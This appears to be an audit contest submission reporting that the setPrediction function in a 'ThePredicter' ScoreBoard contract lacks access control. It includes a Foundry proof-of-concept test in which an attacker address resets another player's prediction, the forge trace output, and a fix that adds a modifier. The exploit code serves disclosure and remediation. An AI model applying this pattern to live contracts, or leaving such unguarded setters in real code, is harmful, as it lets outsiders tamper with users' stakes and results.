First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing Access Control in setPrediction Function Leading to Potential Prediction Manipulation

Tomas0707

Summary

The setPrediction function in the ScoreBoard.sol contract lacks access control, which could allow unauthorized users to modify or reset player predictions. This vulnerability poses a risk of attackers deleting or tampering with predictions, affecting the integrity of the prediction system.

Vulnerability Details

The setPrediction function allows updating predictions for any player without verifying the caller's identity. This absence of access control means that any address or contract could potentially call this function, resulting in unauthorized modifications to player predictions.

https://github.com/Cyfrin/2024-07-the-predicter/blob/839bfa56fe0066e7f5610197a6b670c26a4c0879/src/ThePredicter.sol#L85-L88

Proof of Concept

This is the test code of attack.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
import {ThePredicterTest} from "./ThePredicter.test.sol";
​
contract AttackPredictionTest is ThePredicterTest {
function testAttackPrediction() public {
address attacker = makeAddr("attacker");
​
vm.startPrank(stranger);
vm.warp(1);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(organizer);
vm.warp(2);
thePredicter.approvePlayer(stranger);
vm.stopPrank();
​
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
emit log_named_uint("stranger.balance", address(stranger).balance);
emit log_named_int("stranger.score", scoreBoard.getPlayerScore(stranger));
​
vm.startPrank(attacker);
scoreBoard.setPrediction(stranger, 0, ScoreBoard.Result.Pending);
vm.stopPrank();
emit log_named_uint("stranger.balance", address(stranger).balance);
emit log_named_int("stranger.score", scoreBoard.getPlayerScore(stranger));
}
}

To test this code:

  • Input this code to new test solidity file: test/AttackPrediction.test.sol.

  • Then run this command:

    forge test --match-path test/AttackPrediction.test.sol --match-test testAttackPrediction -vvvv

  • The result is:

    ├─ emit log_named_uint(key: "stranger.balance", val: 959900000000000000 [9.599e17])
    ├─ [5638] ScoreBoard::getPlayerScore(stranger: [0x49052147F5D97A723DEBdf07680fFFaDAd29A5dC]) [staticcall]
    │ └─ ← [Return] 2
    ├─ emit log_named_int(key: "stranger.score", val: 2)
    ├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
    │ └─ ← [Return]
    ├─ [5896] ScoreBoard::setPrediction(stranger: [0x49052147F5D97A723DEBdf07680fFFaDAd29A5dC], 0, 0)
    │ └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    │ └─ ← [Return]
    ├─ emit log_named_uint(key: "stranger.balance", val: 959900000000000000 [9.599e17])
    ├─ [4985] ScoreBoard::getPlayerScore(stranger: [0x49052147F5D97A723DEBdf07680fFFaDAd29A5dC]) [staticcall]
    │ └─ ← [Return] 0
    ├─ emit log_named_int(key: "stranger.score", val: 0)

As you can see, the attacker can reset or modify predictions for any players.

Impact

  • An attacker could exploit the lack of access control to reset or modify predictions for any player, potentially leading to unfair outcomes and loss of trust in the system.

  • Unauthorized changes to predictions could compromise the accuracy of the system and affect the overall reliability of the prediction results.

Tools Used

Manual code review

Recommendations

Introduce an access control mechanism to restrict the setPrediction function so that only authorized entities (e.g., the ThePredicter contract) can call it.

function setPrediction(
address player,
uint256 matchNumber,
Result result
) public onlyThePredicter { // Restricted access
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.